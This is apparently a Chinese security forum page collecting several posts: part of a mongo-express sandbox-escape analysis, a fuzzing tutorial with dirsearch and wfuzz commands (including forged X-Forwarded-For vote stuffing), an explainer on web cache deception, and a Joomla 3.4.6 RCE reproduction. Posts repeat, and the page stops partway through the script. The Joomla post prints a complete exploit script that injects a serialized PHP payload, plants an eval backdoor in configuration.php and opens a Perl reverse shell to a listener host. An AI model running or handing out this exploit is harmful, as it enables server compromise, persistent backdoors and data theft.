报错中说,require未定义。那么只要想办法找到require就能继续构造PoC了。在JavaScript中,创建一个对象,即通过这个对象的原型对象的构造函数实例化这个对象,因此,原型对象是新对象的“模版”。那么假设我们使用的vm的沙箱就是一个当前进程上下文创建的对象,那么我们能不能通过链式调用vm的沙箱的构造函数来查找到当前上下文并且拿到require呢?vm在GitHub中的一个issue:Sandbox can be broken已经给出了答案,这个问题貌似永远也不会得到修复了。

通过this.constructor.constructor("return process")即可拿到当前上下文,我们可以看到其中包含了Node.js的全部全局变量:


7.png




这样我们就可以轻松拿到require构造PoC了。

补丁分析
从GitHub补丁diff上看,修复方案是删掉了全部使用vm的代码,而将BSON的处理转为通过mongodb-query-parser和mongodb-extended-json这两个库配合实现:

88.png




修复建议
建议升级到mongo-express 0.54.0及以上版本,并且修改默认密码。mongo-express虽然是一个Web项目,但只建议内网使用,或使用其他客户端代替。

总结
通过近期对Node.js漏洞代码的研究,隐约发现Node.js漏洞的一些规律,如eval()出现在代码中,require("child_process")出现在代码中,只要他们可以被控制 ,甚至如CVE-2019-7609的kibana RCE漏洞仅仅是可以控制环境变量,都可能造成较严重的后果。今后再做Node.js相关项目的代码审计、漏洞分析或漏洞挖掘时,我们应充分利用JavaScript的语言特性,或许能总结出更多规律,让思路更清晰。

参考
http://bsonspec.org/spec.html
https://github.com/gf3/sandbox/issues/50
https://juejin.im/post/5afe3c91518825673954f718
https://github.com/mongo-express/mongo-express/pull/522
https://odino.org/eval-no-more-understanding-vm-vm2-nodejs/
https://github.com/gyyyy/footprint/blob/master/articles/2018/sql-vs-nosql-injection-02.md
https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq
 
原文:https://x3fwy.bitcron.com/post/mongo-express-rce-explained
 

Fuzz测试初级学习

muyu 发表了文章 • 0 个评论 • 769 次浏览 • 2020-02-16 17:28 • 来自相关话题

漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。
其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
 
0x00什么是Fuzz测试?
fuzz工具非常多 如 libfuzz honggfuzz KernelFuzzer 也有专注进行web fuzz的wfuzz 但是fuzz功能可以分成两种 只是生成测试用例和检测程序使用测试用例后异常  这次使用radamsa和afl作为这两类工具
 
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
 
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x01Dirsearch
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件
kali里面并没有dirsearch,需要从github下载!
下载地址:git clone https://github.com/maurosoria/dirsearch
并进入下载目录
cd dirsearch/
运行需要python环境,这里使用python3python3 dirsearch.py -u "http://localhost/" -e *




扫描网站需要指定网站的脚本类型, 为全部类型的脚本*
参数列表:
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的 子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗 号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果
 
0x02Wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带,很方便使用。





 
Wfuzz找到下面的漏洞
可预测的认证可预测的session标志(session id)可预测的资源定位(目录和文件)注入路径遍历溢出跨站脚本认证漏洞不安全的直接对象引用…
使用
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php
Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ
遍历枚举参数值:
e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ
Cookie测试:
上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie:
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
HTTP Headers测试:
e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
结束语
对于fuzz还有很多知识点,还需要一段时间去学习,当然,当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!
 
参考文章:
https://blog.csdn.net/JBlock/article/details/88619117
 
http://www.h3c.com/cn/d_201501/852549_30008_0.htm
 
https://blog.csdn.net/JBlock/article/details/88624657 查看全部
漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。
其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
 
0x00什么是Fuzz测试?
fuzz工具非常多 如 libfuzz honggfuzz KernelFuzzer 也有专注进行web fuzz的wfuzz 但是fuzz功能可以分成两种 只是生成测试用例和检测程序使用测试用例后异常  这次使用radamsa和afl作为这两类工具
 
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
 
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x01Dirsearch
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件
kali里面并没有dirsearch,需要从github下载!
下载地址:git clone https://github.com/maurosoria/dirsearch
并进入下载目录
cd dirsearch/

运行需要python环境,这里使用python3
python3 dirsearch.py -u "http://localhost/" -e *

01.png

扫描网站需要指定网站的脚本类型, 为全部类型的脚本*
参数列表:
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的 子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗 号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果
 
0x02Wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带,很方便使用。

02.png

 
Wfuzz找到下面的漏洞
  • 可预测的认证
  • 可预测的session标志(session id)
  • 可预测的资源定位(目录和文件)
  • 注入
  • 路径遍历
  • 溢出
  • 跨站脚本
  • 认证漏洞
  • 不安全的直接对象引用

使用
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php

Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ

遍历枚举参数值:
e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ

Cookie测试:
上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie:
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ

HTTP Headers测试:
e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666

结束语
对于fuzz还有很多知识点,还需要一段时间去学习,当然,当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!
 
参考文章:
https://blog.csdn.net/JBlock/article/details/88619117
 
http://www.h3c.com/cn/d_201501/852549_30008_0.htm
 
https://blog.csdn.net/JBlock/article/details/88624657

web缓存欺骗

heyha 发表了文章 • 0 个评论 • 353 次浏览 • 2020-01-08 15:59 • 来自相关话题

介绍
 
        先看一下什么是缓存
 
       大多数网站为了使网页加载速度变快从而为用户提供更好的用户体验,都使用了网页缓存,这些缓存的机制是将应用程序的文件存储在缓存服务上,在用户发起请求时进行频繁的检索。
        最常见的一些需要缓存的文件都是静态文件,比如.css,.js,.txt以及图片文件。实现缓存的方式也有很多,比如浏览器自身就会进行缓存,但是这种缓存并不能进行Web缓存欺骗攻击。但是另外一些在浏览器与web服务器之间实现缓存的方式则可能存在这种安全漏洞。
      
       缓存是如何工作的?
 
       回顾了不同形式的缓存机制后,现在,我们来看看Web缓存实际上是如何工作的。 在以下示例中,http://www.example.com网站由反向代理提供缓存服务。 像其他任何网站一样,这个网站使用了图片,CSS文件和脚本作为公开使用的资源。 这些文件网站中所有或许多用户所使用的静态文件,并且对所有用户返回了完全相同的内容。 它们不包含任何用户信息,因此不会被认为是敏感的文件。
 
       第一次访问静态文件时,请求会通过代理服务。 缓存机制并不熟悉这个文件,于是它会询问Web服务器,Web服务器返回了该文件。 现在,缓存机制需要识别接收到的文件的类型。 每个缓存机制的工作方式不同,但是在大多数情况下,服务器是从URL的尾端来获取文件的扩展名,然后根据该缓存机制的缓存规则来决定是否缓存这个文件。
 
       如果文件被缓存了,那么下一次当有任何一个客户端请求该文件时,缓存机制由于已经存储了这个文件,所以它会把缓存的文件内容发送给客户端而不需要去请求Web服务器。
 
      攻击原理
 
 
未经过身份验证的攻击者可以轻松的利用此漏洞,攻击步骤如下面所示:

1.攻击者诱使已经登录的用户访问xxx/my.php/1.css

2.受害者的浏览器请求xxx/my.php/1.css

3.请求到达代理,代理服务并不熟悉该文件,因此会请求Web服务器。

4. Web服务器返回受害者的帐户页面的内容,并显示200 OK响应,这意味着URL保持不变。

5.缓存机制接收到文件同时发现URL以静态文件的扩展名(.css)结尾。因为该缓存机制被配置为缓存所有静态文件并忽略任何缓存头,所以1.css文件会被缓存。名为1.css的新目录是在缓存目录中创建的,被缓存的文件名称为1.css。

6.用户接收到他的帐户页面。

7.攻击者访问xxx/my.php/1.css。请求到达代理服务器,代理服务器直接将受害者的缓存帐户页面返回给了攻击者的浏览器。
 
漏洞演示











两个页面url不同但是回显的内容是一样的
 
此时切换浏览器未登录直接访问   127.0.0.1/my.php/1.css





 
访问到了其他用户的数据
 
漏洞危害及利用 
      访问xxx/my.php/1.css 页面时, Web服务器返回了该my.php的内容

服务器的缓存机制通过url中的扩展名来判断是否进行缓存文件,并且忽略任何缓存头。

受害者必须访问过了xxx/my.php/1.css 这种页面,也就是说受害者已经将my.php的内容缓存到了缓存服务器上。
 
       此外还需要结合社工的方法,诱使登入网站的用户特别是有权限的用户(管理员)等,访问http://victim.com/my.php/静态资源 这种形式的链接。
       攻击者通过这种攻击,可以获取到受害者的账户等敏感信息。
 
总结
       Web缓存欺骗是一种不仅易于执行的攻击,而且可能会因为暴露用户的个人信息而遭受更严重的后果,而攻击者则可以控制用户的帐户。一些知名的网站也很容易受到这种攻击;大多数这些网站由最常见的CDN提供缓存服务。可以肯定的是,仍有许多网站可能成为受害者。
       虽然本白皮书仅涉及了可以满足Web缓存欺骗攻击条件的有限技术的范例,但还有各种其他Web框架和缓存机制,可以为攻击者提供类似的机会来执行攻击。
       为这个漏洞创造利用条件的Web框架和缓存机制本身并不脆弱;主要问题还是不正确的配置所导致的。
       为了防止网络缓存欺骗攻击,技术人员应首先了解可以执行此攻击所需要的条件。此外,建议供应商努力防止其产品满足这些攻击条件。这可以通过禁用一些功能,更改默认设置和行为以及提供警告来提高技术人员的意识来实现。
 
 
参考
https://blog.csdn.net/u010726042/article/details/77833973
https://www.freebuf.com/articles/web/161670.html
PayPal实战参考:https://cloud.tencent.com/developer/article/1516385
 
 
  查看全部
介绍
 
        先看一下什么是缓存
 
       大多数网站为了使网页加载速度变快从而为用户提供更好的用户体验,都使用了网页缓存,这些缓存的机制是将应用程序的文件存储在缓存服务上,在用户发起请求时进行频繁的检索。
        最常见的一些需要缓存的文件都是静态文件,比如.css,.js,.txt以及图片文件。实现缓存的方式也有很多,比如浏览器自身就会进行缓存,但是这种缓存并不能进行Web缓存欺骗攻击。但是另外一些在浏览器与web服务器之间实现缓存的方式则可能存在这种安全漏洞。
      
       缓存是如何工作的?
 
       回顾了不同形式的缓存机制后,现在,我们来看看Web缓存实际上是如何工作的。 在以下示例中,http://www.example.com网站由反向代理提供缓存服务。 像其他任何网站一样,这个网站使用了图片,CSS文件和脚本作为公开使用的资源。 这些文件网站中所有或许多用户所使用的静态文件,并且对所有用户返回了完全相同的内容。 它们不包含任何用户信息,因此不会被认为是敏感的文件。
 
       第一次访问静态文件时,请求会通过代理服务。 缓存机制并不熟悉这个文件,于是它会询问Web服务器,Web服务器返回了该文件。 现在,缓存机制需要识别接收到的文件的类型。 每个缓存机制的工作方式不同,但是在大多数情况下,服务器是从URL的尾端来获取文件的扩展名,然后根据该缓存机制的缓存规则来决定是否缓存这个文件。
 
       如果文件被缓存了,那么下一次当有任何一个客户端请求该文件时,缓存机制由于已经存储了这个文件,所以它会把缓存的文件内容发送给客户端而不需要去请求Web服务器。
 
      攻击原理
 
 
未经过身份验证的攻击者可以轻松的利用此漏洞,攻击步骤如下面所示:

1.攻击者诱使已经登录的用户访问xxx/my.php/1.css

2.受害者的浏览器请求xxx/my.php/1.css

3.请求到达代理,代理服务并不熟悉该文件,因此会请求Web服务器。

4. Web服务器返回受害者的帐户页面的内容,并显示200 OK响应,这意味着URL保持不变。

5.缓存机制接收到文件同时发现URL以静态文件的扩展名(.css)结尾。因为该缓存机制被配置为缓存所有静态文件并忽略任何缓存头,所以1.css文件会被缓存。名为1.css的新目录是在缓存目录中创建的,被缓存的文件名称为1.css。

6.用户接收到他的帐户页面。

7.攻击者访问xxx/my.php/1.css。请求到达代理服务器,代理服务器直接将受害者的缓存帐户页面返回给了攻击者的浏览器。
 
漏洞演示

11111.png


22222.png


两个页面url不同但是回显的内容是一样的
 
此时切换浏览器未登录直接访问   127.0.0.1/my.php/1.css

33333.png

 
访问到了其他用户的数据
 
漏洞危害及利用 
      
访问xxx/my.php/1.css 页面时, Web服务器返回了该my.php的内容

服务器的缓存机制通过url中的扩展名来判断是否进行缓存文件,并且忽略任何缓存头。

受害者必须访问过了xxx/my.php/1.css 这种页面,也就是说受害者已经将my.php的内容缓存到了缓存服务器上。

 
       此外还需要结合社工的方法,诱使登入网站的用户特别是有权限的用户(管理员)等,访问http://victim.com/my.php/静态资源 这种形式的链接。
       攻击者通过这种攻击,可以获取到受害者的账户等敏感信息。
 
总结
       Web缓存欺骗是一种不仅易于执行的攻击,而且可能会因为暴露用户的个人信息而遭受更严重的后果,而攻击者则可以控制用户的帐户。一些知名的网站也很容易受到这种攻击;大多数这些网站由最常见的CDN提供缓存服务。可以肯定的是,仍有许多网站可能成为受害者。
       虽然本白皮书仅涉及了可以满足Web缓存欺骗攻击条件的有限技术的范例,但还有各种其他Web框架和缓存机制,可以为攻击者提供类似的机会来执行攻击。
       为这个漏洞创造利用条件的Web框架和缓存机制本身并不脆弱;主要问题还是不正确的配置所导致的。
       为了防止网络缓存欺骗攻击,技术人员应首先了解可以执行此攻击所需要的条件。此外,建议供应商努力防止其产品满足这些攻击条件。这可以通过禁用一些功能,更改默认设置和行为以及提供警告来提高技术人员的意识来实现。
 
 
参考
https://blog.csdn.net/u010726042/article/details/77833973
https://www.freebuf.com/articles/web/161670.html
PayPal实战参考:https://cloud.tencent.com/developer/article/1516385
 
 
 

Joomla 3.4.6远程代码执行(RCE)漏洞复现

input 发表了文章 • 0 个评论 • 351 次浏览 • 2020-01-03 10:42 • 来自相关话题

一 . joomlaCMS简介
joomla是一套全球知名的内容管理系统, 是使用PHP语言加上MYSQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖
二 . 漏洞简介
该漏洞在2019年10月8日漏洞公开,漏洞位于根目录下的configuration.php,是由于该CMS对函数过滤不严,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。
三 . 影响版本
3.0.0——3.4.6
 
四 . 环境搭建
直接使用PHPtudy 搭建,joomla 3.4.6下载地址:https://downloads.joomla.org/cms/joomla3/3-4-6,直接解压到WWW目录下,直接访问http://127.0.0.1/joomla3.4.6/ 进入安装界面,按照步骤进行安装。





 
安装成功后的界面如图





 
五 . 漏洞复现
该漏洞的利用比较简单,首先用脚本进行漏洞检测
脚本如下
#!/usr/bin/env python3
 
import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
 
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())
 
        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')


如果检测结果中有 "Vulnerable" 这个字符串,则说漏洞存在





 
之后就可以进行漏洞的利用了,执行脚本插入一句话木马如图: -l 是服务器ip -p 是随意一个未被占用的端口





 
进入configration.php 查看一句木马是否插入成功





 
如图插入成功 ,用菜刀尝试连接
url:http://127.0.0.1/joomla3.4.6//configuration.php
密码为生成的随机值:cpfdbhjnildsblnnowyosoawezaupqwevpahznwjmeyzejuktl





 
连接成功 查看全部
一 . joomlaCMS简介
joomla是一套全球知名的内容管理系统, 是使用PHP语言加上MYSQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖
二 . 漏洞简介
该漏洞在2019年10月8日漏洞公开,漏洞位于根目录下的configuration.php,是由于该CMS对函数过滤不严,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。
三 . 影响版本
3.0.0——3.4.6
 
四 . 环境搭建
直接使用PHPtudy 搭建,joomla 3.4.6下载地址:https://downloads.joomla.org/cms/joomla3/3-4-6,直接解压到WWW目录下,直接访问http://127.0.0.1/joomla3.4.6/ 进入安装界面,按照步骤进行安装。

3.png

 
安装成功后的界面如图

1.png

 
五 . 漏洞复现
该漏洞的利用比较简单,首先用脚本进行漏洞检测
脚本如下
#!/usr/bin/env python3
 
import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
 
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
